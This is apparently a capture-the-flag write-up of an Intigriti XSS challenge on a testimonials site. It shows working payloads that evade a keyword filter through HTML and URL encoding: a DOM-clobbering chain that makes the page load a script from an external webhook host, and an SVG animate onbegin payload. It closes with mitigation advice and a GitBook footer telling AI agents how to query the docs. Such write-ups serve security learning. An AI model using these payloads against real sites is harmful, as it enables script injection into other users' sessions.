> For the complete documentation index, see [llms.txt](https://cl4nd3st1ne.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cl4nd3st1ne.gitbook.io/write-ups/intigriti-challenges/challenge-0526-write-up.md).

# Challenge 0526 Write-up

### Enumeration

This month's challenge presented a site for publishing testimonials. A user can register, login and then proceed to publish testimonials.

<figure><img src="/files/qvelkbPAXlLkOUsrn2uo" alt="" width="563"><figcaption><p>Landing Page</p></figcaption></figure>

Once an account is created, the following options are available:

<figure><img src="/files/XGheHgz5jSx55oB289Y5" alt="" width="563"><figcaption></figcaption></figure>

In the Profile tab, one can change their display name. There are a total of three injection points available - username, display name, and testimonials.&#x20;

I tried simple HTML injection payloads in all three, and all worked. But we need to execute JavaScript.&#x20;

I started with some XSS payloads in the testimonials section, but dangerous tags and attributes were being stripped here. For the username, since it is displayed in the header, all my injections were breaking the rest of the syntax on the page.&#x20;

In the Profile section, we see a warning about some kind of "shield" which is examining our input for malicious content and rejecting bad inputs.&#x20;

<figure><img src="/files/x72qcF3WHJaNUkYhPNe8" alt="" width="563"><figcaption></figcaption></figure>

It was also filtering words like "domain", "script", and so on. Due to this, on trying a payload containing those words, it displayed the following error and rejected the name.&#x20;

<figure><img src="/files/tlNcGkJ8CsYKd5AcVZp3" alt="" width="563"><figcaption></figcaption></figure>

On checking the source code, it can be found that testimonials are being sanitised using DOMPurify. And there is another functionality:

<figure><img src="/files/HLa8ICrev02FsYF4Ynhi" alt=""><figcaption></figcaption></figure>

### Designing the Payload

Using the `config` variable, the site is dynamically creating a script element from the values of a global object `window.PixelAnalyticsConfig`. The way this variable is defined makes it vulnerable to [DOM Clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering).&#x20;

The strategy is to find a way to bypass the tripping logic of the Display Name feature in order to clobber the `window.PixelAnalyticsConfig` variable with the URL of our script. Once this is done, on navigating to the Testimonials page where this tracker component is loaded, a script tag will be created pointing to our URL, and thus executing our JavaScript.

Earlier I described that the kind of detection being performed is specifically on certain characters and keywords. Their encoded forms, however, are not being checked. So, using the payloads provided by PortSwigger, I constructed the following payload to clobber the variable:

{% code overflow="wrap" %}

```
<a id=PixelAnalyticsConfig><a id=PixelAnalyticsConfig name=enabled><a id=PixelAnalyticsConfig name=&#115criptUrl href=//296ed6d5-5c13-42b5-843b-56eedec95b42%2ewebhook%2esite></a>
```

{% endcode %}

### Breaking it Down

Because the payload contains three tags with `id=PixelAnalyticsConfig`, the browser sets `window.PixelAnalyticsConfig` to an `HTMLCollection`. Since an object exists, the OR operator chooses the hijacked DOM collection instead of the default hard-coded object.

The browser allows to access elements inside an `HTMLCollection` by their `name` or `id` attribute using dot notation.

#### How `window.PixelAnalyticsConfig.enabled` was clobbered

* The payload includes: `<a id=PixelAnalyticsConfig name=enabled>`
* In JavaScript, `config.enabled` now points directly to that specific `<a>` element.
* Also, in JavaScript, an object (including an HTML element) is always **truthy**. Even though the boolean `true` value has not been provided, the mere existence of the `<a>` tag makes the `if` statement pass.

#### How `window.PixelAnalyticsConfig.scriptUrl` was clobbered

* When an `<a>` element is used in a context that requires a **string** (like setting the `script.src` in our case), JavaScript automatically calls the element's `.toString()` method.&#x20;
* For `<a>` elements, the `toString()` method is specialised: It returns the value of the `href` attribute. This is also why I went with the anchor tag approach and not the form tag approach.
* Since direct use of the "script" word was tripping the SCA shield, I used the HTML-encoded form of "s" in the payload while providing the name `scriptUrl`. [This](https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-html) guide helped me realise I can actually use HTML encoding without the trailing semicolon and it would still work as expected.
* Similarly, dot is also being detected. So I used URL-encoding in the `href` attribute.

### Exploitation

Now that the payload is ready, we also need to host the PoC for it to be executed on the challenge page. This can be done by editing the content on the site.

<figure><img src="/files/lWMuakgjd40guPrsSP6B" alt="" width="354"><figcaption></figcaption></figure>

On the challenge page, after changing the Display Name to the payload and then going to the Testimonials page with an existing testimonal, the alert is triggered.

<figure><img src="/files/oghUyWtxyoOYAgyC5KMD" alt="" width="563"><figcaption></figcaption></figure>

Whenever the affected user logs into their account, the XSS gets triggered. Although right now this is just self XSS, if the testimonials were shown publicly on the landing page then this XSS would become more impactful.

***

While trying some other payloads in the same field, I found another one which works without even having to perform DOM Clobbering.

{% code overflow="wrap" %}

```
<svg><animate onbegin=&#97lert&#40&#41 attributeName=x></svg>
```

{% endcode %}

I followed a strategy similar to the previous payload, HTML-encoding the keywords that trigger the SCA shield.

<figure><img src="/files/la0mtjhiD4j2wB1VWerF" alt="" width="563"><figcaption></figcaption></figure>

### Mitigation

* To prevent XSS in general, replace character/word blacklisting with a library like DOMPurify for all fields. Configure it properly to ensure all input is sanitised and dangerous attributes like `id` or `name` are stripped out.
* To prevent DOM clobbering, check that `window.PixelAnalyticsConfig` is a plain object and not an HTML element. This prevents an injected tag with `id="PixelAnalyticsConfig"` from being treated as a configuration object.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://cl4nd3st1ne.gitbook.io/write-ups/intigriti-challenges/challenge-0526-write-up.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
